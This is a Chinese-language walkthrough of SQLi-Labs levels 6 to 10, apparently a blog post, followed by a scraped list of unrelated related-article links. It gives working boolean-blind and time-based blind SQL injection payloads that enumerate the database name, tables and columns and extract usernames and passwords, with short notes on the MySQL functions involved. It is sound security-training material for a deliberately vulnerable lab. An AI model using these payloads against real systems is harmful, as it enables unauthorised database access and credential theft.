《SQLi-Labs》02. Less 6~10
@
sqli。开启新坑。
索引
- Less-6:布尔盲注,字符型【"】。
- Less-7:布尔盲注,字符型【'))】。
- Less-8:布尔盲注,字符型【'】。
- Less-9:时间盲注,字符型【'】。
- Less-10:时间盲注,字符型【"】。
Less-6
与 Less-5 基本相同。这里只简略写大致步骤。
题解
根据页面报错信息可以猜测 id 参数是双引号。
只需将 Less-5 的单引号换成双引号即可。
判断当前数据库长度:
url + ?id=1" and length((select database()))>=8 --+
字符串截取并通过 ASCII 码比较来得出数据库名:
url + ?id=1" and ascii(substr((select database()), 1, 1))=115 --+
爆表
判断所有表名字符长度:
url + ?id=1" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>28 --+
ASCII 码比较得到表名:
url + ?id=1" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),2,1))>=109--+
爆字段
判断字符长:
url + ?id=1" and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>=20 --+
判断字段名:
url + ?id=1" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>=105 --+
得到 username 和 password 字段
获取敏感数据:
判断内容长度。
url + ?id=1" and length((select group_concat(username,password) from users))>=188 --+
然后依次判断每一个字符即可。最终结果与前 4 个题相同。
url + ?id=1" and ascii(substr((select group_concat(username,password) from users),1,1))>=68 --+
原理
布尔盲注。
- length() 函数:返回字符串所占的字节数。
- ascii() 函数:返回字符串最左字符的ASCII值。如果是空字符串,返回0。如果是NULL,返回NULL。
- substr() 函数:字符串截取函数。
Less-7
与 Less-5、Less-6 相同,也是布尔盲注。
题解
这题较上题有一点区别。


这一题只会显示报错,但没有报错信息。那就逐个判断一下。
传递 id=1' 时,显示错误;当传递 id=1" 时,显示正常,所以可以断定参数 id 为单引号字符串,因为单引号破坏了他原有语法结构。
然后传递 id=1' --+ 时报错,传递 id=1') --+ 发现依然报错。
那就试试双括号 id=1'))--+ ,发现页面显示正常。
于是用布尔盲注即可。Less-5 中已详细说明,Less-6 中给出了各个步骤,这里就不多说了。
Less-8
题解
Less-8 与 Less-5 一样。只不过 Less-5 没有报错信息,但有对错回显。
id参数是一个单引号字符串。使用布尔盲注,和 Less-5 无异。
Less-9
题解
通过 if (a, sleep(3), 1) ,如果 a 结果是真的,那么执行 sleep(3) ,页面延迟 3 秒;如果 a 的结果是假,执行1,页面不延迟。
思路与 Less-5 相同。这里只简单叙述。
判断参数构造。通过页面时间来判断出id参数是单引号字符串。
url + ?id=1' and if(1=1, sleep(3), 1) --+
判断当前数据库名长度。
url + ?id=1' and if(length((select database()))>8, sleep(3), 1) --+
逐一判断数据库字符。
url + ?id=1' and if(ascii(substr((select database()),1,1))=115, sleep(3), 1) --+
爆表。
判断所有表名长度。
url + ?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13, sleep(3), 1) --+
逐一判断表名。
url + ?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99, sleep(3), 1) --+
爆字段。
判断所有字段名的长度。
url + ?id=1' and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20, sleep(3), 1) --+
逐一判断字段名。得到 username 和 password 字段。
url + ?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99, sleep(3), 1) --+
获取敏感数据:
判断内容长度。
url + ?id=1' and if(length((select group_concat(username,password) from users))>109, sleep(3), 1) --+
逐一检测内容即可。
url + ?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50, sleep(3), 1) --+
原理
时间盲注。涉及到以下 MySQL 函数:
if (expr1, expr2, expr3)
如果 expr1 是TRUE,则返回值为 expr2;否则返回值为 expr3。sleep(N)
让此语句运行N秒钟。
当无论输入什么,页面返回的结果都一样时,就无法使用布尔盲注。这时需要使用时间盲注。
时间盲注和布尔盲注的判断理解起来其实差不多。理解 Less-5 的布尔盲注后,这题也就好理解了。
只不过是布尔盲注通过页面回显判断真伪,时间盲注通过页面相应速度判断真伪。
Less-10
题解
id参数是双引号字符串。
和 Less-9 一样,只需要将单引号换成双引号即可。
十有九人堪白眼,百无一用是书生。
——《杂感》(清)黄景仁
《SQLi-Labs》02. Less 6~10的更多相关文章
- Win10《芒果TV》更新v3.4.10春光版:优化弹窗体验,修复热键和推送
春来触地故乡情,忽见风光忆两京,金谷踏花香骑入,曲江碾草钿车行,Win10版<芒果TV>更新v3.4.10,进一步优化弹窗体验,修复热键和推送异常. Win10版<芒果TV>V ...
- 《Effective C++ 》学习笔记——规定10
***************************************转载请注明出处:http://blog.csdn.net/lttree************************** ...
- 20145219 《Java程序设计》第02周学习总结
20145219 <Java程序设计>第02周学习总结 教材学习内容总结 类型:基本类型.类类型(参考类型) 基本类型: 整数:short占2字节,int占4字节,long占8字节 字节: ...
- 20145212 《Java程序设计》第10周学习总结
20145212 <Java程序设计>第10周学习总结 学习内容总结 一.Java的网络编程 网络编程是指编写运行在多个设备(计算机)的程序,这些设备都通过网络连接起来. java.net ...
- 20145206《Java程序设计》第10周学习总结
20145206 <Java程序设计>第10周学习总结 博客学习内容总结 什么是网络编程 网络编程就是在两个或两个以上的设备(例如计算机)之间传输数据.程序员所作的事情就是把数据发送到指定 ...
- 20145334 《Java程序设计》第10周学习总结
20145334 <Java程序设计>第10周学习总结 教材学习内容总结 一.网络编程 •网络编程对于很多的初学者来说,都是很向往的一种编程技能,但是很多的初学者却因为很长一段时间无法进入 ...
- 20145337 《Java程序设计》第10周学习总结
20145337 <Java程序设计>第10周学习总结 教材学习内容总结 网络编程 网络编程的实质就是两个(或多个)设备(例如计算机)之间的数据传输. 路由器和交换机组成了核心的计算机网络 ...
- 20145320 《Java程序设计》第10周学习总结
20145320 <Java程序设计>第10周学习总结 教材学习内容总结 网络编程 计算机网络概述 网络编程的实质就是两个(或多个)设备(例如计算机)之间的数据传输. 按照计算机网络的定义 ...
- 20145225《Java程序设计》 第10周学习总结
20145225<Java程序设计> 第10周学习总结 教材学习内容总结 一.网络编程 网络编程就是在两个或两个以上的设备(例如计算机)之间传输数据: 程序员所作的事情就是把数据发送到指定 ...
- 《HelloGitHub月刊》第02期
<HelloGithub>第02期 兴趣是最好的老师,而<HelloGitHub> 就是帮你找到兴趣! 因为我比较熟悉python语言,所以月刊中python语言的项目居多,个 ...
随机推荐
- weekday
# 模块中的方法weekday()# 可用于检索星期几,结果返回0 - 6# 之间的整数,用来代表"星期一"到"星期日".# self.wt_w = self. ...
- for循环原理补充、生成器对象、yield冷门用法、生成器表达式的面试题、常见内置函数
目录 一.for循环原理补充 二.生成器对象 (1).自定义生成器对标range功能(一个参数 两个参数 三个参数 迭代器对象) 三.yield冷门用法 (1).yield与return的对比 四.生 ...
- props传值遇Cannot read property getAttribute of undefined异常
今有一个echarts 图标的子组件使用watch 监听接受父组件传入的data,而在父组件页面再次根据日期筛选数据,重新传入子组件进行图表重绘时老实会提示报错 vue.runtime.esm.js? ...
- Go 语言 map 是并发安全的吗?
原文链接: Go 语言 map 是并发安全的吗? Go 语言中的 map 是一个非常常用的数据结构,它允许我们快速地存储和检索键值对.然而,在并发场景下使用 map 时,还是有一些问题需要注意的. 本 ...
- Java流程控制和循环(基础语法学习)
一.流程控制 1.定义 在一个Java程序中,各条语句的执行对程序的结果有直接影响,也就是说 各个语句的执行顺序对程序的结果有直接影响. 在程序中 ,可能出现不同的执行顺序,必须 自上而下顺序 ...
- 你是怎么学习 Java 技术的?
一.Java 语言 Java 语言不只是一门语言. Java 学习不是一蹴而就就可以达成的,它是一个循序渐进,由浅入深,由表及里的过程.尤其需要注意的是不能有浅尝辄耻,不求甚解的态度.每个地方只抓一点 ...
- 【EF Core】实体的主、从关系
假设有以下两个实体: public class Student { public int StuID { get; set; } public string? Name { get; set; } p ...
- 从0开发WebGPU渲染引擎:实现路径追踪
大家好,本文基于WebGPU的计算着色器实现了基础的路径追踪器,支持Middle BVH和No BVH两种加速结构 我主要是将离线渲染零基础实战开发培训班(一期)->第二十九节课的代码移植到We ...
- Windows商店开发者注册失败
前言 最近写了个小工具想上架Windows应用商店,但是在填写信息那一页总是失败,提示Error code 2201. Correlation ID 9d436e3a-94df-498a-b224-8 ...
- Sa-Token 多账号认证:同时为系统的 Admin 账号和 User 账号提供鉴权操作
Sa-Token 是一个轻量级 java 权限认证框架,主要解决登录认证.权限认证.单点登录.OAuth2.微服务网关鉴权 等一系列权限相关问题. Gitee 开源地址:https://gitee.c ...